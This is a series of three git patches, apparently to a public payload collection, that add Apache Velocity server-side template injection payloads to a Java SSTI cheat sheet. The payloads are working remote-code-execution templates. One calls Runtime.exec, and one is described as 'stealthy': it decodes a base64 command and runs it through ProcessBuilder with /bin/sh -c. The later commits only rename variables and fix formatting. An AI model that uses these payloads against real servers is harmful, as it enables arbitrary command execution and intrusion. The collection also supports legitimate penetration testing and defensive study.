From edbf3386a3df4d7b96512e9fb35a30238971e2a6 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Mon, 21 Jul 2025 18:33:56 +0200 Subject: [PATCH 1/3] Update Java.md --- Server Side Template Injection/Java.md | 32 ++++++++++++++++++++++++-- 1 file changed, 30 insertions(+), 2 deletions(-) diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md index bb6b57d..1c19cf1 100644 --- a/Server Side Template Injection/Java.md +++ b/Server Side Template Injection/Java.md @@ -211,9 +211,10 @@ New version of Pebble : [Official website](https://velocity.apache.org/engine/1.7/user-guide.html) -> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code. +> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates. -```python +In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result: +```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) @@ -224,6 +225,33 @@ $str.valueOf($chr.toChars($out.read())) #end ``` +A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64: +```java +#set($base64 = 'd2hvYW1p') +#set($c = $CUSTOMER_CIVILITY.getClass()) +#set($Base64 = $c.forName("java.util.Base64")) +#set($Decoder = $Base64.getMethod("getDecoder").invoke(null)) +#set($bytes = $Decoder.decode("$base64")) + +#set($StringCl = $c.forName("java.lang.String")) +#set($cmd = $StringCl.getConstructor($c.forName("[B"), $c.forName("java.lang.String")).newInstance($bytes, "UTF-8")) + +#set($params = ["/bin/sh", "-c", $cmd]) +#set($pbCl = $c.forName("java.lang.ProcessBuilder")) +#set($pb = $pbCl.getConstructor($c.forName("java.util.List")).newInstance($params)) +#set($pb = $pb.redirectErrorStream(true)) +#set($p = $pb.start()) +#set($exit = $p.waitFor()) + +#set($is = $p.getInputStream()) +#set($sc = $c.forName("java.util.Scanner")) +#set($s = $sc.getConstructor($c.forName("java.io.InputStream")).newInstance($is)) +#set($sDelimiter = $s.useDelimiter("\\A")) +#if($s.hasNext()) +#set($out = $s.next().trim()) +$out.replaceAll("\\s+$", "").replaceAll("^\\s+", "") +#end +``` --- ## Groovy From d04a38a67cd134aa27a6b65f1b942de57c342613 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Wed, 13 Aug 2025 18:14:47 +0000 Subject: [PATCH 2/3] refactor(template): rename Velocity payload variables for clarity --- Server Side Template Injection/Java.md | 44 ++++++++++++++------------ 1 file changed, 24 insertions(+), 20 deletions(-) diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md index 1c19cf1..1c0ba12 100644 --- a/Server Side Template Injection/Java.md +++ b/Server Side Template Injection/Java.md @@ -227,29 +227,33 @@ $str.valueOf($chr.toChars($out.read())) A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64: ```java -#set($base64 = 'd2hvYW1p') -#set($c = $CUSTOMER_CIVILITY.getClass()) -#set($Base64 = $c.forName("java.util.Base64")) -#set($Decoder = $Base64.getMethod("getDecoder").invoke(null)) -#set($bytes = $Decoder.decode("$base64")) +#set($base64EncodedCommand = 'd2hvYW1p') -#set($StringCl = $c.forName("java.lang.String")) -#set($cmd = $StringCl.getConstructor($c.forName("[B"), $c.forName("java.lang.String")).newInstance($bytes, "UTF-8")) +#set($contextObjectClass = $knownContextObject.getClass()) -#set($params = ["/bin/sh", "-c", $cmd]) -#set($pbCl = $c.forName("java.lang.ProcessBuilder")) -#set($pb = $pbCl.getConstructor($c.forName("java.util.List")).newInstance($params)) -#set($pb = $pb.redirectErrorStream(true)) -#set($p = $pb.start()) -#set($exit = $p.waitFor()) +#set($Base64Class = $contextObjectClass.forName("java.util.Base64")) +#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null)) +#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand)) -#set($is = $p.getInputStream()) -#set($sc = $c.forName("java.util.Scanner")) -#set($s = $sc.getConstructor($c.forName("java.io.InputStream")).newInstance($is)) -#set($sDelimiter = $s.useDelimiter("\\A")) -#if($s.hasNext()) -#set($out = $s.next().trim()) -$out.replaceAll("\\s+$", "").replaceAll("^\\s+", "") +#set($StringClass = $contextObjectClass.forName("java.lang.String")) +#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8")) + +#set($commandArgs = ["/bin/sh", "-c", $command]) + +#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder")) +#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs)) +#set($processBuilder = $processBuilder.redirectErrorStream(true)) +#set($process = $processBuilder.start()) +#set($exitCode = $process.waitFor()) + +#set($inputStream = $process.getInputStream()) +#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner")) +#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream)) +#set($scannerDelimiter = $scanner.useDelimiter("\\A")) + +#if($scanner.hasNext()) + #set($output = $scanner.next().trim()) + $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "") #end ``` --- From f3cdd4ff0ce82c00a57b46c760490fb15148bda3 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Wed, 13 Aug 2025 18:29:00 +0000 Subject: [PATCH 3/3] fix(markdown): add blank lines around fenced code blocks to satisfy MD031 --- Server Side Template Injection/Java.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md index 1c0ba12..85078d8 100644 --- a/Server Side Template Injection/Java.md +++ b/Server Side Template Injection/Java.md @@ -214,6 +214,7 @@ New version of Pebble : > Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates. In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result: + ```java #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) @@ -226,6 +227,7 @@ $str.valueOf($chr.toChars($out.read())) ``` A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64: + ```java #set($base64EncodedCommand = 'd2hvYW1p') @@ -256,6 +258,7 @@ A more flexible and stealthy payload that supports base64-encoded commands, allo $output.replaceAll("\\s+$", "").replaceAll("^\\s+", "") #end ``` + --- ## Groovy